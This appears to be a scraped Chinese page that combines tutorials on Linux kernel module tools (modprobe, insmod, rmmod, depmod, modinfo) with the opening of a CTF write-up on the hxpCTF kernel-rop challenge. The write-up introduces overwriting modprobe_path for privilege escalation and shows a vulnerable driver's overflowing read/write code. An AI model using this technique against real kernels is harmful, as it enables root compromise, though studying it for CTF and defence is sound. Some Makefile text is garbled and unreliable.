精华内容
下载资源
问答
  • modprobe
    2022-04-18 21:48:40

    insmod、rmmod

      加载内核模块最简单的方法就是通过 insmod 命令。它的作用很有限,就是请求内核载入你指定的模块。insmod 程序不执行任何依赖性分析或进一步的错误检查。
      类似地,卸载一个模块,可以使用 rmmod。这两个命令简单是简单,但是它们一点也不智能。

    modprobe

      好在系统为我们提供了一个更先进的工具 modprobe。它提供了模块依赖性分析,错误智能检查,错误报告以及许多其他功能和选项。强烈建议大家用这个命令。

    modprobe module [module parameters]
    

      其中,参数 module 指定了需要加载的模块名称,后面的参数将在模块加载时传入内核。
      modprobe 命令不但会加载指定的模块,而且会自动加载任何它所依赖的有关模块。所以说它是加载模块的最佳技术。
      modprobe 命令也可用来从内核中卸载模块,当然这也需要以 root 身份运行。

    modprobe -r modules
    

    与 rmmod 命令不同,modprobe 也会卸载给定模块所依赖的相关模块,其前提是这些相关模块没有被使用。

    更多相关内容
  • modprobe命令用于智能地向内核中加载模块或者从内核中移除模块。 modprobe命令可载入指定的个别模块,或是载入一组相依的模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。内核模块加载成功或失败信息...
  • Linux modprobe命令 Linux modprobe命令用于自动处理可载入模块。 modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在...
  • fuse-。2.7版本 先执行: sudo mknod /dev/fuse c 10 229 为了防止udev规则在下次重启时擦除 fuse 设备,执行以下命令: sudo update-rc.d -f udev disable 这样在下次重启时,fuse设备就仍然可以用了。...
  • Linux命令:modprobe

    千次阅读 2019-02-14 11:04:58
    From:...linux内核模块相关命令:lsmod,depmod,modprobe,modinfo,insmod,rmmod 使用说明 https://www.cnblogs.com/jacklikedogs/p/4659249.html Linux下加载.ko驱动模块的两种方法:insm...

    From:https://blog.csdn.net/good5101/article/details/39472291

    linux内核模块相关命令:lsmod,depmod,modprobe,modinfo,insmod,rmmod 使用说明
    https://www.cnblogs.com/jacklikedogs/p/4659249.html

    Linux下加载.ko驱动模块的两种方法:insmod与modprobe:
    https://blog.csdn.net/yxfabcdefg/article/details/53376845

    来源

    初期linux的驱动程序是必须编译在内核之中的(相应地驱动程序提供的是源程序以符合GNU规则,例如DFE530TX网卡的驱动就是ftp://www.scyld.com/pub/network/via-rhine.c),后来推广使用以后一则感觉不方便、二则普通用户也没有能力自己编译内核、三则当时内核不能太大,里面驱动程序太多超过1M的话会瘫掉,于是发明了模块(modules),就是事先将驱动程序编译成module,使用时再将他们装载到系统里以避免重新编译内核。再经过发展以后,几乎内核里的大多数功能都能以模块形式存在,例如读写NTFS、支持PPP协议等等,所以模块功能已经不局限于驱动程序了。

    modprobe功能就是,对系统里的模块进行增、减、安装、删除等等操作。

    简介

    Linux命令:modprobe 。
    功能说明:自动处理可载入模块。
    语  法:modprobe [-acdlrtvV][–help][模块文件][符号名称 = 符号值]。
    补充说明:modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。

    内容

    1、modprobe 命令是根据depmod -a的输出/lib/modules/version/modules.dep来加载全部的所需要模块。
    2、删除模块的命令是:modprobe -r filename。
    3、系统启动后,正常工作的模块都在/proc/modules文件中列出。使用lsmod命令也可显示相同内容。
    4、在内核中有一个“Automatic kernel module loading"功能被编译到了内核中。当用户尝试打开某类型的文件时,内核会根据需要尝试加载相应的模块。/etc/modules.conf或 /etc/modprobe.conf文件是一个自动处理内核模块的控制文件。
    modprobe [-acdlrtvV][–help][模块文件][符号名称 = 符号值]
    参数

    -a 或 --all   载入全部的模块。
    -c或–show-conf  显示所有模块的设置信息。
    -d或–debug   使用排错模式。
    -l或–list   显示可用的模块。
    -r或–remove   模块闲置不用时,即自动卸载模块。
    -t或–type   指定模块类型。
    -v或–verbose   执行时显示详细的信息。
    -V或–version   显示版本信息。
    -help   显示帮助。

    modprobe 与 insmod 命令的区别:

    insmod 与 modprobe 都是载入 kernel module,不过一般差别于 modprobe 能够处理 module 载入的相依问题。
    比方你要载入 a module,但是 a module 要求系统先载入 b module 时,直接用 insmod 挂入通常都会出现错误讯息,不过 modprobe 倒是能够知道先载入 b module 后才载入 a module,如此相依性就会满足。
    不过 modprobe 并不是大神,不会厉害到知道 module 之间的相依性为何,该程式是读取 /lib/modules/2.6.xx/modules.dep 档案得知相依性的。而该档案是透过 depmod 程式所建立。

    linux设备驱动有两种加载方式insmod和modprobe,下面谈谈它们用法上的区别
    1、insmod一次只能加载特定的一个设备驱动,且需要驱动的具体地址。写法为:
    insmod drv.ko
    2. modprobe则可以一次将有依赖关系的驱动全部加载到内核。不加驱动的具体地址,但需要在安装文件系统时是按照make modues_install的方式安装驱动模块的。驱动被安装在/lib/modules/$(uname -r)/…下。写法为:
    modprob drv

    modprobe 和insmod一样都是用来加载内核module的
    不过modprobe比较智能,它可以根据module的依赖性来自动为你加载;
    而insmod就做不到这点。
    ---------------------------------分隔线---------------------------------
    比如说使用ipmitool这个工具需要在dev/中存在ipmi0的设备,如果没有的话就需要加载
    modprobe ipmi_si
    modprobe ipmi_devintf

    读取本地KCS接口的数据使用 -I open 例如
    ipmitool -I open sensor

    想要卸载module。使用rmmod

    用modprobe 加载模块时,提示模块找不到的问题

    用modprobe 加载模块时,提示模块找不到的问题,如在/home目录下有个编译好的模块:helloworld.ko,
    当我们运行 sudo modprobe /home/helloworld.ko时,会提示“FATAL: Module helloworld not found.”
    modprobe是在/lib/module/uname -r下寻找加载的模块的,并且modprobe需要一个最新的modules.dep文件,
    这个modules.dep文件内容是些各个模块之间的依赖等信息,此文件是由depmod命令来更新的。

    man modprobe:
    modprobe looks in the module directory /lib/modules/uname -r for all the modules and other files, except for the
    optional /etc/modprobe.conf configuration file and /etc/modprobe.d
    directory (see modprobe.conf(5)).

    modprobe expects an up-to-date modules.dep file, as generated by depmod
    (see depmod(8)). This file lists what other modules each module needs
    (if any), and modprobe uses this to add or remove these dependencies
    automatically. See modules.dep(5)).

    所以我们需要做的事情:
    1.将编译好的模块放入/lib/module/uname -r下,
    2. 用depmod更新modules.dep文件
    3. modprobe helloworld.ko

    与内核模块操作相关的命令还有:lsmod modinfo depmod rmmod inmod modprobe

    内核模块的开机自动挂载模块一般是位于一个配置文件,一般的Linux发行版本都有 /etc/modules.conf 或 /etc/modprobe.conf

    移除已经加载的模块:
    #modprobe -r modulename
    和rmmod 功能相同。

    查看加载包含有usb的模块
    #lsmod | grep usb

    加载内核驱动的通常流程:

    1.先将.ko文件拷贝到/lib/module/uname -r(内核版本号)/kernel/driver/…目录下,

    根据具体用途的区别分为net、ide、scsi、usb、video、parport、md、block、ata等等。
    

    2.运行depmod -a,更新模块依赖新,主要是更新modules.dep文件

    3.运行modprobe加载内核模块

    lsmod

    功能:列出内核已载入模块的状态
    用法:lsmod
    描述:
    lsmod 以美观的方式列出/proc/modules的内容。
    输出为:
    Module(模块名) Size(模块大小) Used by(被…使用)
    eg. ne2k_pci 8928 0
    8390 9472 1 ne2k_pci
    在/proc/modules中相应的是:
    (模块名,模块大小,被…使用,模块地址(猜的,以后确认))
    ne2k_pci 8928 0 – Live 0×3086400
    8390 9472 1 ne2k_pci , Live 0xe086000
    depmod

    功能:分析可加载模块的依赖性,生成modules.dep文件和映射文件。
    用法:depmod [-b basedir] [-e] [-F System.map] [-n] [-v] [version] [-A]
    depmod [-e] [-F System.map] [-n] [-v] [version] [filename…]
    描述:
    Linux内核模块可以为其它模块提供提供服务(在代码中使用EXPORT_SYMBOL),这种服务被称作”symbols”。若第二个模块使用了这个symbol,则该模块很明显依赖于第一个模块。这些依赖关系是非常繁杂的。
    depmod读取在/lib/modules/version 目录下的所有模块,并检查每个模块导出的symbol和需要的symbol,然后创建一个依赖关系列表。默认地,该列表写入到/lib/moudules /version目录下的modules.dep文件中。若命令中的filename有指定的话,则仅检查这些指定的模块(不是很有用)。
    若命令中提供了version参数,则会使用version所指定的目录生成依赖,而不是当前内核的版本(uname -r 返回的)。
    选项:
    -b basedir –basedir basedir 若你的模块并没有正确的在/lib/mdules/version下,可以指定目录生成依赖。
    -e –errsyms 和-F选项一起使用,当一个模块需要的symbol在其它模块里面没有提供时,做出报告。正常情况下,模块没有提供的symbol都在内核中有提供。
    -F –filesyms System.map 提供一个System.map文件(在内核编译时生成的)许-e选项报告出unresolved symbol。
    -n –dry_run 将结果modules.dep和各种映射文件输出到标准输出(stdout),而不是写到模块目录下。
    -A –quick 检查是否有模块比modues.dep中的模块新,若没有,则退出不重新生成文件。
    modprobe

    功能:Linux内核添加删除模块
    用法:
    modprobe [ -v ] [ -V ] [-C config-file] [ -n ] [ -i ] [ -q ] [ -o modulename] [ modulename ] [ module parameters … ]
    modprobe [ -r ] [ -v ] [ -n ] [ -i ] [ modulename … ]
    modprobe [ -l ] [ -t dirname ] [ wildcard ]
    modprobe [ -c ]
    描述:
    modprobe可智能地添加和删除Linux内核模块(为简便起见,模块名中’_'和’-'是一样的)。modprobe会查看模块 目录/lib/modules/’uname -r’里面的所有模块和文件,除了可选的/etc/modprobe.conf配置文件和/etc/modprobe.d目录外。
    modprobe需要一个最新的modules.dep文件,可以用depmod来生成。该文件列出了每一个模块需要的其他模块,modprobe使用这个去自动添加或删除模块的依赖。
    选项:
    -v –verbose 显示程序在干什么,通常在出问题的情况下,modprobe才显示信息。
    -C –config 重载(_,意思取C++的重载)默认配置文件(/etc/modprobe.conf或/etc/modprobe.d)。
    -c –showconfig 输出配置文件并退出
    -n –dry-run 可以和-v选项一起使用,调试非常有用
    -i –ignore-install –ignore-remove 该选项会使得modprobe忽略配置文件中的,在命令行上输入的install和remove命令。
    -q –quiet 一般modprobe删除或插入一个模块时,若没有找到会提示错误。使用该选项,会忽略指定的模块,并不提示任何错误信息。
    -r –remove 该选项会导致modprobe去删除,而不是插入一个模块。通常没有没有理由去删除内核模块,除非是一些有bug的模块。你的内核也不一定支持模块的卸载。
    -V –verssion 版本信息
    -f –force 和同时使用–force-vermagic ,–force-modversion一样。使用该选项是比较危险的。
    -l –list 列出所有模块
    -a –all 插入所有命令行中的模块
    -t –type 强制 -l 显示dirname中的模块
    -s –syslog 错误信息写入syslog
    modinfo

    功能:显示内核模块的信息
    用法:
    modinfo [ -0 ] [ -F field] [modulename | filename … ]
    modinfo -V
    modinfo -h
    描述:
    modinfo列出Linux内核中命令行指定的模块的信息。若模块名不是一个文件名,则会在/lib/modules/version 目录中搜索,就像modprobe一样。
    modinfo默认情况下,为了便于阅读,以下面的格式列出模块的每个属性:fieldname : value。
    选项:
    -V –version 版本
    -F –field 仅在一行上显示field值,这对于脚本较为有用。常用的field有:author, description, licence, param, depends, alias, filename。
    -0 –NULL 使用’/0′字符分隔field值,而不是一个新行。对脚本比较有用。
    -a -d -l -p -n 这些分别是author, description, license, param ,filename的简短形式。
    insmod

    功能:向Linux内核中插入一个模块
    用法:insmod [filename] [modue options …]
    描述:
    insmod是一个向内核插入模块的小程序:若文件名是一个连字符’-’,模块从标准输入输入。大多数用户使用modprobe,因为它比较智能化。
    rmmod

    功能:删除内核中的一模块
    用法:rmmod [ -f ] [ -w ] [ -s ] [ -v ] [ modulename ]
    描述:
    rmmod是一个可以从内核中删除模块的小程序,大多数用户使用modprobe -r去删除模块。
    选项:
    -v –verbose 显示程序正在做些什么,一般只显示执行时的错误信息。
    -f –force 该选项是非常危险:除非编译内核时,CONFIG_MODULE_FORCE_UNLOAD被设置该命令才有效果,否则没效果。用该选项可以删除正在被使用的模块,设计为不能删除的模块,或者标记为unsafe的模块。
    -w –wait 通常,rmmod拒绝删除正在被使用的模块。使用该选项后,指定的模块会被孤立起来,直到不被使用。
    -s –syslog 将错误信息写入syslog,而不是标准错误(stderr)。
    -V –version 版本信息
    以上内容是参考man翻译的,若有疑问请用man …查看原始文档,翻译可能有误。

    其它:

    (1)lsmod 显示当前加载的所有模块,相当于cat /proc/modules,

    假设你没有设定开机加载某个模块,比如ntfs,那么开机后执行lsmod,列表里不会有ntfs这个模块的,
    
    这时你再执行 mount -t ntfs xxx后,执行lsmod后列表里就会有ntfs这个模块了。
    还要注意的是lsmod显示的是模块名,而不是别名(alias)。
    

    (2) modprobe与insmod

    modprobe -l            #显示当前可以加载的模块
    
    modprobe xxx.ko        #加载某个模块
    modprobe -r xxx.ko     #卸载某个模块
    
    
    
    通过了解modprobe的manpage我们知道,我可以通过modprobe -l来显示可以当前可以加载的模块,所谓当前可以加载的模块,
    
    实际上就是modules.dep文件中包含的那些模块,而不是manpage里说的modprobe会加载/lib/modules/`uname -r`下的所有模块(也许是我理解错误),下面我们将会证明这一点.
    
    insmod 与 modprobe 都是载入 kernel module,不过一般差别于 modprobe 能够处理 module 载入的相依问题。
    

    比方你要载入 a module,但是 a module 要求系统先载入 b module 时,直接用 insmod 挂入通常都会出现错误讯息,不过 modprobe 倒是能够知道先载入 b module 后才载入 a module,如此相依性就会满足。

    不过 modprobe 并不是大神,不会厉害到知道 module 之间的相依性为何,该程式是读取 /lib/modules/2.6.xx/modules.dep 档案得知相依性的。而该档案是透过 depmod 程式所建立。

    (3)上面(1)中提到modprobe加载某个模块是根据/lib/modules/uname -r目录下的modules.dep文件中的模块列表,这个文件中有的模块modprobe会正确加载,否则就会出错。
    我们还拿ntfs这个模块来举例:
    vi /lib/modules/uname -r/modules.dep
    注释掉/lib/modules/2.6.18-4-k7/kernel/fs/ntfs/ntfs.ko这一行,就是加个#号.
    这个修改是即使生效的。
    modinfo ntfs
    modinfo: could not find module ntfs
    modprobe ntfs
    FATAL: Module ntfs not found.
    重启机器,执行同样的命令会得到同样的结果,说明开机不会自动执行depmod的,而
    locate ntfs.ko
    /lib/modules/2.6.18-4-k7/kernel/fs/ntfs/ntfs.ko
    证明我们并没有转移ntfs模块。
    注意如果重启机器之前进行mount还是可以的,重启之后就会报错了,而上边的都是即时生效的。
    还有如果modules.dep里注释掉了ntfs,那么在/etc/modules里写上也是不起作用的,说明这个和mount一样都是依赖 modprobe来完成加载模块命令的。而insmod是可以的,因为insmod后面跟的是绝对路径,它和modules.dep没什么关系。 insmod比较重要的用途是用来测试模块的正确性,加载一般都是依靠modprobe。(这个可能也不起作用了,都用modprobe吧)
    这一切只是因为我们注释掉了modules.dep中关于ntfs.ko的那一行,而模块并没有删除或转移。既然modules.dep文件如此重要,那么它是怎么生成的呢?这就和下一个命令有关了,depmod。

    (4)depmod

    man depmod
    depmod – program to generate modules.dep and map files. Blank lines, and lines starting with a ‘#’ (ignoring spaces) are ignored in modules.dep.
    depmod是一个用来产生modules.dep和map文件的程序。在modules.dep文件中空白行和以’#'开头的行将被忽略.

    Linux kernel modules can provide services (called “symbols”) for other
    modules to use (using EXPORT_SYMBOL in the code).
    linux核心模块可以提供服务给其他模块,称之为"symbols"

    depmod creates a list of module dependencies, by reading each module
    under /lib/modules/version and determining what symbols it exports, and
    what symbols it needs.
    depmod通过读取/lib/modules/version目录下的每一个模块来创建一个记录模块相依性
    的列表。这个列表就是/lib/modules/version目录下的modules.dep。

    If a version is provided, then that kernel version’s module directory
    is used, rather than the current kernel version (as returned by “uname
    -r”).
    如果给定version的话,那么depmod会检查这个version对应的modules目录而不是
    当前运行的kernel对应的modules目录。

    depmod will also generate various map files in this directory, for use
    by the hotplug infrastructure.
    depmod也会在/lib/modules/version目录下创建许多map文件,这些文件将会被hotplug用到。

    OPTIONS:
    -a --all Probe all modules. This option is enabled by default if no
    file names are given in the command-line.
    检查所有的模块,这个命令是默认的如果你没有指定模块名字的话。

    -A --quick This option scans to see if any modules are newer than the
    modules.dep file before any work is done%3

    实例

    查看modules的配置文件:modprobe -c
    这里,可以查看modules的配置文件,比如模块的alias别名是什么等。
    会打印许多行信息,例如其中的一行会类似如下:
    alias symbol:ip_conntrack_unregister_notifier ip_conntrack
    列出内核中所有已经或者未挂载的所有模块:

    modprobe -l
    这里,我们能查看到我们所需要的模块,然后根据我们的需要来挂载.
    其实modprobe -l 读取的模块列表就位于/lib/modules/uname -r目录中;
    其中uname -r是内核的版本,例如输出结果的其中一行是:
    /lib/modules/2.6.18-348.6.1.el5/kernel/net/netfilter/xt_statistic.ko

    挂载vfat模块:modprobe vfat
    用法:modprobe 模块名
    挂载之后,用lsmod可以查看已经挂载的模块。模块名是不能带有后缀的
    我们通过modprobe -l所看到的模块,都是带有.ko或.o后缀。

    移除已经加载的模块:modprobe -r 模块名
    这里,移除已加载的模块,和rmmod功能相同。

    安装软驱模块:
    [root@root~]# modprobe -v floppy
    卸载软驱模块:
    [root@root~]# modprobe -v -r floppy

    1. 加载RAID1阵列级别模块:
      [root@root]# modprobe raid1

    2. 显示已加载的RAID1阵列级别模块:
      [root@root]# lsmod |grep raid1

    3. 删除RAID1阵列级别模块:
      [root@root]# modprobe -r raid1

    4. 显示RAID1阵列级别模块:
      [root@root]# lsmod |grep raid1

    insmod 和 modprobe使用方法

    From:https://blog.csdn.net/hktkfly6/article/details/53284158/

    insmod 和 modprobe 都是载入 kernel module,不过一般差别于 modprobe 能够处理 module 载入的相依问题。

    比方你要载入 a module,不过 a module 需求系统先载入 b module 时,直接用 insmod 挂入通常都会出现错误讯息,不过 modprobe 倒是能够知道先载入 b module 后才载入 a module,如此相依性就会满足。
    不过 modprobe 并不是大神,不会厉害到知道 module 之间的相依性为何,该程式是读取 /lib/modules/2.6.xx/modules.dep 档案得知相依性的。而该档案是透过 depmod 程式所建立。
    modinfo ip_nat_ftp
    一、什么是内核;
    内核官方:
    http://www.kernel.org
    内核洋文用 kernel,我刚才翻了一下词典,kernel 中文意思是内核、核心、中心、精髓的意思;也是果仁、果核的意思。从字面理解,kernel 是一事物的中心,植物的果实最重要的也是果仁和果核;? 由此我们能推断内核是操作系统的中心。
    我们知道Linus Torvalds 研发了Linux ,其实他研发的就是内核,按内核官方主页的理解,这个内核就是Linux ;其他的扩展和应用都是围绕内核而展开的。所有Linux应用程式都会和内核发生直接或间接的接触;比如硬件需要内核支持,网络的通信也需要内核支持;文件系统更需要内核支持… …
    直言我的能力的不行,如果你想了解和学习解操作系统,我写的教程只是初级应用,理论性的东西不是一言两语能说的清晰的,更不是应用者能说的清晰的。
    二、为什么需要编译内核和管理内核
    硬件是需要内核支持才行,有些硬件的支持没有被编入内核,这也需要我们重编内核;内核的包含的不仅仅是设备的驱动,更有其他的内容,比如网络协议的支持,防火墙的支持… … 比如iptables的实现,有些功能是需要内核支持的,如果内核和iptables相关的内容没有被编入,iptables 相关的功能就无法实现;
    三、内核编译方法
    请参考:《编译内核操作流程 ──为新手指南》
    四、管理内核模块的相关命令
    1、lsmod 列加以挂载的内核模块;
    lsmod 是列出目前系统中已加载的模块的名称及大小等;另外我们还能查看 /proc/modules ,我们相同能知道系统已加载的模块;
    [root@localhost beinan]# lsmod
    2、modinfo 查看模块信息;
    modinfo 能查看模块的信息,通过查看模块信息来判定这个模块的用途;
    [root@localhost beinan]# moinfo 模块名
    举例:
    [root@localhost beinan]# modinfo ne2k-pci
    filename: /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ne2k-pci.ko
    author: Donald Becker / Paul Gortmaker
    description: PCI NE2000 clone driver
    license: GPL
    parmtype: debug:int
    parmtype: options:array of int
    parmtype: full_duplex:array of int
    parm: debug:debug level (1-2)
    parm: options:Bit 5: full duplex
    parm: full_duplex:full duplex setting(s) (1)
    vermagic: 2.6.11-1.1369_FC4 686 REGPARM 4KSTACKS gcc-4.0
    depends: 8390
    alias: pci:v000010ECd00008029svsdbcsci*
    alias: pci:v00001050d00000940svsdbcsci*
    alias: pci:v000011F6d00001401svsdbcsci*
    alias: pci:v00008E2Ed00003000svsdbcsci*
    alias: pci:v00004A14d00005000svsdbcsci*
    alias: pci:v00001106d00000926svsdbcsci*
    alias: pci:v000010BDd00000E34svsdbcsci*
    alias: pci:v00001050d00005A5Asvsdbcsci*
    alias: pci:v000012C3d00000058svsdbcsci*
    alias: pci:v000012C3d00005598svsdbcsci*
    alias: pci:v00008C4Ad00001980svsdbcsci*
    srcversion: 6ACE95F441CD26DF9DC31C2
    上面的例子是我们查看 ne2k-pci 这个模块的信息,通过查看,我们知道ne2k-pci 模块是8029网卡(PCI NE2000 clone driver)的驱动;模块是位于 /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ 中ne2k-pci.ko
    我们目前常用的网卡也有8139的,8139网卡所用的驱动是 8139too ;查查看?
    [root@localhost beinan]# modinfo 8139too
    我们再查查vfat 和ntfs 的模块信息;
    [root@localhost beinan]# modinfo vfat
    [root@localhost beinan]# modinfo ntfs
    自己尝试一下;
    注意: 模块名是不能带有后缀的,我们通过modprobe -l 所看到的模块,都是带有.ko 或.o后缀;
    3、modprobe 挂载新模块及新模块相依赖的模块
    modprobe 我们常用的功能就是挂载模块,在挂载某个内核模块的同时,这个模块所依赖的模块也被同时挂载;当然modprobe 也有列出内核所有模块,更有移除模块的功能;下在我们举个例子说一说咱们常用的功能和参数;
    modprobe [-v] [-V] [-C config-file] [-n] [-i] [-q] [-o ] [parameters…]
    modprobe -r [-n] [-i] [-v] …
    modprobe -l -t [ -a …]
    上面是modprobe 的用法,具体更为周详的帮助,我们能查看 man modprobe ;
    [root@localhost beinan]# modprobe -c
    modprobe -c 能查看modules 的设置文件,比如模块的别名是什么等;
    [root@localhost beinan]# modprobe -l
    modprobe -l 是列出内核中所有的模块,包括已挂载和未挂载的;通过modprobe -l ,我们能查看到我们所需要的模块,然后根据我们的需要来挂载;其实modprobe -l 读取的模块列表就位于 /lib/modules/’uname -r’ 目录中;其中uname -r 是内核的版本;
    [root@localhost beinan]# uname -r
    2.6.11-1.1369_FC4
    [root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/
    通过上面的命令,自己试试看?
    [root@localhost beinan]# modprobe 模块名 注:挂载一个模块;
    举例:
    [root@localhost beinan]# modprobe ne2k-pci 注:挂载 ne2k-pci 模块;
    [root@localhost beinan]# modprobe vfat 注:挂载vfat 模块
    [root@localhost beinan]# modprobe ntfs 注:挂载ntfs 模块
    [root@localhost beinan]# lsmod 注:列出已挂载模块, 我们会看到ne2k-pci ,vfat ,ntfs的模块 ;
    注意: 模块名是不能带有后缀的,我们通过modprobe -l 所看到的模块,都是带有.ko 或.o后缀;
    [root@localhost beinan]# modprobe -r 模块名 注:移除已加载的模块,和rmmod 功能相同;
    注意: 模块名是不能带有后缀的,我们通过modprobe -l 所看到的模块,都是带有.ko 或.o后缀;
    [root@localhost beinan]# modprobe -r 模块名
    举例:
    [root@localhost beinan]# modprobe -r ne2k-pci
    就说这么多吧,更为周详的还是用 man modprobe 来查看和尝试;
    4、rmmod 移除已挂载模块;
    命令格式:
    rmmod 模块名
    注意: 模块名是不能带有后缀的,我们通过modprobe -l 所看到的模块,都是带有.ko 或.o后缀;
    举例:
    [root@localhost beinan]# rmmod vfat 注:移除已挂载的模块vfat
    5、depmod 创建模块依赖关系的列表
    这个模块管理工具是创建模块依赖关系的列表,有几个参数我们注意一下就行了,目前的的Linux 发行版所用的内核是2.6x版本,是自动解决依赖关系,所以这个命令知道就行了;模块之前也有依赖关系,比如我们想驱动USB 移动硬盘,目前有两种驱动,一种是udev ,在内核中有,但目前不太稳定;另一种办法是用usb-storage驱动,而usb-storage 依赖的模块是scsi 模块,所以我们要用usb-storage 的模块,也得把scsi 编译安装;
    再举个例子:sata的硬盘,在Linux中的设备表示的是/dev/sd* ,比如 /dev/sda,/dev/sdb 等… 系统要驱动 sata硬盘,则需要把sata在内核中选中,或编译成模块,或内置于内核之中,在此同时,还需要在内核中选中ide ,scsi 的支持等;
    depmod 工具的洋文原意:depmod ? program to generate modules.dep and map files.(我译的:为modules.dep 文件或映射文件创建依赖关系)
    [root@localhost beinan]# depmod -a 注:为所有列在/etc/modprobe.conf 或/etc/modules.conf 中的所有模块创建依赖关系,并且写入到modules.dep文件;
    [root@localhost beinan]# depmod -e 注:列出已挂载但不可用的模块;
    [root@localhost beinan]# depmod -n 注:列出所有模块的依赖关系,但仅仅是输出出来 (Write the dependency file on stdout only)
    注:modules.dep 位于 /lib/modules/内核版本 目录
    比如 Fedora Core 4.0 中,系统默认的内核:
    [root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/modules.dep
    /lib/modules/2.6.11-1.1369_FC4/modules.dep
    6、insmod 挂载模块;
    insmod 这个工具,和modprobe 有点类似,但功能上没有modprobe 强,modprobe 在挂载模块是不用指定模块文件的路径,也不用带文件的后缀.o 或.ko ;而insmod 需要的是模块的所在目录的绝对路径,并且一定要带有模块文件名后缀的(modulefile.o 或modulesfile.ko );
    对于这个工具,我们只是介绍一下, 并不推荐使用。因为模块有依赖关系,对于新手来说,可能不知道这个模块依赖和哪个模块依赖;
    举例:
    [root@localhost beinan]# insmod /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/tg3.ko
    我们要到 /lib/modules/内核版本 uname -r 的命令输出/kernel/drivers 中找相对应的模块才行,要有绝对路径,而且必须要用到文件名的全称,不能把文件名的后缀省略;
    五、和内核模块加载相关的设置文件;
    1、模块的设置文件 modules.conf 或 modprobe.conf
    内核模块的开机自动挂载模块一般是位于一个设置文件,一般的Linux发行版本都有 /etc/modules.conf 或 /etc/modprobe.conf 。比如Fedora Core 4.0 内核模块开机自动加载文件是 /etc/modprobe.conf ;在这个文件中,一般是写入模块的加载命令或模块的别名的定义等;比如我们在modules.conf 中可能会发行类似的一行 ;
    alias eth0 8139too
    ///-----------------------------------------------------------------------------------------------------------------------
    KERNELRELEASE 的定义,Linux $(KERNELRELEASE)
    最近用友善之臂的板子,发现内核的名称是:Linux-2.6.29.4-FriendlyARM.后面那个FriendlyARM死活去不掉。后来只好看代码。

    1、2.6.29.4这个版本号是是uboot在做uimage的时候加上的,看arch/arm/boot/Makefile:

    quiet_cmd_uimage = UIMAGE $@
    cmd_uimage = $(CONFIG_SHELL) $(MKIMAGE) -A arm -O linux -T kernel /
    -C none -a $(LOADADDR) -e ( L O A D A D D R ) / − n ′ L i n u x − (LOADADDR) / -n &#x27;Linux- (LOADADDR)/nLinux(KERNELRELEASE)’ -d $< $@

    2、对比,可见2.6.29.4-FriendlyARM就是 = ( K E R N E L R E L E A S E ) , 因 此 我 们 需 要 找 到 (KERNELRELEASE),因此我们需要找到 (KERNELRELEASE)(KERNELRELEASE)怎么定义的。

    3、搜索可以知道$(KERNELRELEASE)在include/config/kernel.release定义,但是改了以后重新make又还有FriendlyARM。

    4、看内核顶层的makefile,约872行有说明:

    Build the kernel release string

    。。。

    $(localver-auto) (only if CONFIG_LOCALVERSION_AUTO is set)

    ./scripts/setlocalversion (SCM tag, if one exists)

    $(LOCALVERSION) (from make command line if provided)

    仔细对比,原来这个FriendlyARM是$(LOCALVERSION)!,搜索下,发现autoconf.h有,哈哈,这就是内核图形配置出来的嘛

    5、马上make menuconfig,搜索$(LOCALVERSION),乖乖,原来在Gernel Setup。。。,马上去掉,重新编译。这下没了!

    展开全文
  • 我们可以通过读取/proc/kallsyms来获取其地址(由于KASLR机制,因此这个地址各不相同): cat /proc/kallsyms | grep modprobe_path -> ffffffffa7a61820 D modprobe_path 其次,当我们执行具有未知文件类型的文件时...

    232545

    0x00 前言

    如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章,可能会知道我们最近一直在学习这块内容。在过去的几周里,我的团队参加了DiceCTF和UnionCTF比赛,其中都包括了Linux内核PWN题目。凭借我有限的知识,在比赛过程中没有解出这类题目。但是通过阅读其他优秀CTF团队和成员的文章,我发现他们很多人都在使用一种相似的技术,这样一来在使用Payload时就完全不需要经历调用prepare_kernel_cred()和commit_creds()的这个痛苦过程。该技术是通过覆盖内核中的modprobe_path来实现的。这项技术对我来说是全新的,因此我在网上进行了一些调研,并尝试进行实验。事实证明,这种技术非常流行,并且易于使用,由此我终于明白了为什么很多人都会倾向于使用这种方法,而不再使用传统方法。

    不过,在我的研究过程中,没有看到能够清晰解释该技术的文章,因此我决定写这篇文章来做详细分析。这个技术本身一点都不复杂,我甚至可以说,它比我之前文章所展现的技术要简单得多。为了在本文中进行演示,我会使用hxpCTF 2020的kernel-rop挑战作为示例,我发现这个题目非常适合用于演示。

    希望这篇文章可以帮助大家了解这种漏洞利用的技术原理。

    0x01 题目说明

    因为我希望这篇文章能与我之前的系列文章区分开,因此我在这里再对kernel-rop挑战的题目进行说明。如果大家已经了解这道题目,可以跳过这一小节。

    简而言之,在这道题目中给我们提供了以下文件:

    (1)vmlinuz – 压缩后的Linux内核;

    (2)initramfs.cpio.gz – Linux文件系统,其中包含了存在漏洞的内核模块调用hackme.ko;

    (3)run.sh – 包含qemu运行命令的Shell脚本。

    而这些是我们可以从这些文件中得到的信息:

    (1)系统有完善的保护措施,包括SMEP、SMAP、KPTI和KASLR;

    (2)Linux内核使用了FG-KASLR,这是KASLR的一个分支版本,它通过随机化每个函数的地址来增加额外的保护层,而不仅仅是保护内核基址;

    (3)存在漏洞的模块在hackme_init()中注册了一个名为hackme的设备,我们可以打开它,并对其进行读写操作;

    (4)hackme_read()和hackme_write()函数存在栈缓冲区溢出漏洞,我们可以在内核栈上几乎无限地读写。

    ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)

    {

    //...

    int tmp[32];

    //...

    if ( _size > 0x1000 )

    {

    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);

    BUG();

    }

    _check_object_size(hackme_buf, _size, 0LL);

    if ( copy_from_user(hackme_buf, data, v5) )

    return -14LL;

    _memcpy(tmp, hackme_buf);

    //...

    }

    ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)

    {

    //...

    int tmp[32];

    //...

    _memcpy(hackme_buf, tmp);

    if ( _size > 0x1000 )

    {

